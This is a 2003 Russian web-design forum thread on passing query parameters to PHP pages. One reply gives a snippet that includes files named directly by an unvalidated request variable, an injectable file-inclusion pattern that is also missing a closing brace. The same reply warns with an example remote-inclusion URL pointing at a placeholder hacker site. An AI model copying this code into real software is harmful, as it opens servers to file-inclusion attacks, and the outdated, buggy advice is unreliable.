Вернуться   Дизайнерский форум » ВЕБ-ПРОГРАММИРОВАНИЕ » HTML, CSS, JavaScript

Как сделать index.php?q=q

Обсуждение темы Как сделать index.php?q=q в разделе HTML, CSS, JavaScript, часть категории ВЕБ-ПРОГРАММИРОВАНИЕ; Ну как. берешь и делаешь! В ссылке так и пишешь: a href='some.php?var=da' (пример) А в скрипте переменная var будет доступна как глобальная. p.s. ...


Закрытая тема
 
Опции темы
Старый 03.07.2003, 19:08   #1
Ну как. берешь и делаешь! В ссылке так и пишешь:
a href='some.php?var=da' (пример)
А в скрипте переменная var будет доступна как глобальная.

p.s. только если расширение будет html то сам понимаешь нет смысла передавать в него переменную, т.к. это не скрипт, а если ты туда и забъешь скрипт, то он не будет работать.
 
Старый 03.07.2003, 19:08
Ссылки
Старый 03.07.2003, 19:29   #2
Вообще-то у Сильвера есть статья,
но прочитав её - тож не хрена не понял! Куда этот код вообще ставить!
 
Старый 04.07.2003, 12:06   #3
Spy

oizo, если у вас собственный веб-сервер или у вас есть доступ к файлу конфигурации веб-сервера Apache, то ищите файл httpd.conf и его и редактируйте.
Код:
  AddType application/x-httpd-php .php .phtml .html
  AddType application/x-httpd-php-source .phps
Таким образом php код будет исполняться и в .html файлах. Открываем index.html и в самом вверху пишем:
PHP код:
<?php
if (isset($id)){
include(
"data/".$id.".html");
}else{
include(
"main.html"); ?>
Далее заходим в index.html (закачав на сервер файл, потому что при локальном подключении работать будет только при настроенном веб-сервере на локалке). Он будет загружать main.html. Если мы укажем адрес index.html?id=files то он будет загружать файл files.html из папки data. Почему лучше сразу указывать расширение у файла?
Да потому что злобные хакеры могут прописать некое:
index.html?id=http://www.хакер.ru/php.php
а там уже будет исполняться другой код, позволяющий залесть на сервер -).

Что же делать если нет доступа к файлу конфигурации вебс-сервера (httpd.conf)?
Просто. Переименовать index.html в index.php и вызывать страницы уже так:
index.php?id=files

Spy добавил [date]1057306048[/date]:
кстати сообщение надо перенести в PHP. Модераторы спят .
 
Старый 05.07.2003, 12:43